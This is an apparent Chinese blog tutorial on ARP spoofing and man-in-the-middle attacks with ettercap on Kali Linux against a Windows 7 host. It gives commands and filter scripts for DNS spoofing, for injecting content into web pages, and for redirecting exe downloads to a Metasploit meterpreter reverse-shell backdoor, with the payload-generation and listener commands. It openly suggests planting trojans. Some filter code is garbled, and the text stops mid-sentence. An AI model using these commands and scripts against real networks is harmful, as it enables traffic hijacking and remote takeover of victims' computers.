kali中ARP欺骗与MITM(中间人攻击)(二)
攻击环境: 网关: ASUS RT-N10+(DD-WRT) IP: 192.168.1.1/24 攻击主机: Kali Linux 1.0 IP: 192.168.1.104/24 被攻击主机(1): Windows 7 IP: 192.168.1.111/24 具体测试环境请参考: Kali中ARP欺骗与MITM(中间人攻击)(一)
- ettercap插件使用(局域网内DNS欺骗举例)
ettercap提供了很多有用的插件,在命令行上使用插件要加上大写字母"-P"。图形界面下plugins —— Mange the plugins然后双击启动插件,如图
插件启动后,插件名前面会显示一个"*"号。不过有的插件并不是直接开启就可以使用,就拿图中dnsspoof这个可以实现DNS欺骗的插件来说,使用前要先修改配置文件添加记录。在Kali Linux下ettercap的大多数配置文件和脚本文件存放在/usr/share/ettercap/目录下,下面我们来编辑一下dnsspoof这个插件的配置文件。
vim /usr/share/ettercap/etter.dns
在etter.dns添加一条A记录,把转向127.0.0.1(本机保留地址),这会造成被攻击主机无法访问百度首页,如图所示:
然后使用ettercap对目标主机进行ARP+DNS欺骗:
ettercap -Tq -i wlan0 -P dns_spoof -M arp:remote /192.168.1.111/ /192.168.1.1/
可以看到DNS被跳转至127.0.0.1,这样被攻击的主机访问百度首页的时候就会显示"无法连接",不过访问IP和其他地址没问题。
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
#msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("", "");
replace("", "");
msg("注入成功!!\n");
}
以上是ettercap插件的简单举例,当然ettercap还有很多插件可以使用,这里就不一个个举例了。
2.使用ettercap过滤脚本简单使用:
ettercap还有很强大的过滤脚本功能,通过使用过滤脚本,可以对截获到的数据包做修改然后转发给被攻击的主机。可以实现替换网页内容、替换下载内容、在被入侵者访问的网页中插入代码等功能。
下面我们就来新建一个过滤脚本,并使用它,在新建立一个文本中输入以下内容:
我这里暂且这个文本命名为alert.filter,然后保存。这个脚本可以替换替换HTML代码中的,在后面加入,玩Web的童鞋对这个应该很熟悉,就是在网页上弹出提示框的。要使用这个脚本,还需要使用ettercap自带的编译工具把这个脚本编译成ettercap可以识别的二进制文件。使用如下命令编译:
etterfilter alert.filter -o alert.ef
如图:
alert.ef就是已经编译完成的过滤脚本。然后可以利用过滤脚本发动攻击了。
ettercap -T -q -i wlan0 -F alert.ef -M arp:remote /192.168.1.111/ /192.168.1.1/
BTW:不知道为啥,rootoorotor在用命令行(-F)调用过滤脚本总是失败(没有脚本调用任何提示),用了绝对路径也不行。但是在GUI下调用过滤脚本正常,如果您知道问题出在那里真心希望能得到您的指导:)
图形界面下调用脚本比较简单,如图:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
#msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=http://up.2cto.com/2013/0507/20130507033106535.com/&' ");
replace("IMG SRC=", "img src=http://up.2cto.com/2013/0507/20130507033106535.com/&' ");
msg("过滤执行.\n");
}
脚本执行时ettercap显示出了脚本执行的message。该脚本执行成功之后,被攻击者主机打开每个网页都会看到卖萌的信息。
接下来这个脚本是替换网页图片的(使用方法同上):
效果如图:
当然你也可以自己修改脚本,挂个木马什么的。
下面是一个使用过滤脚本替换网页下载文件并夺取目标主机控制权的例子,这里结合Metasploit生成一个反向链接的payload做演示:
msfpayload windows/meterpreter/reversetcp LHOST=192.168.1.104 LPORT=4444 R | msfencode -e x86/shikataga_nai -c 3 -t exe -o setup.exe
如图
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Mousecat");
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("keep-alive", "close" ");
replace("Keep-Alive", "close" ");
}
if (ip.proto == TCP && search(DATA.data, ": application") ){
msg("found EXE\n");
if (search(DATA.data, "Win32")) {
msg("doing nothing\n");
} else {
replace("200 OK", "301 Moved Permanently Location: http://www.rootoorotor.org/setup.exe");
msg("redirect success\n");
}
}
生成后门之后可以把后门程序放在网盘上,然后在下面用到的脚本中把下载地址替换为你放置后门的地点,然后新建一个替换下载内容的过滤脚本,保存为exe.filter:
编译脚本:
etterfilter exe.filter -o exe.ef
使用msfcli的handler监听本地的4444端口
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 E
使用ettercap调用过滤脚本发动ARP攻击毒化目标主机的ARP缓存
ettercap -Tq -i wlan0 -F /home/rootoorotor/Desktop/exe.ef -M arp:remote /192.168.1.111/ /192.168.1.1/
当发动ARP攻击成功之后,被攻击主机从网站下载后缀名为exe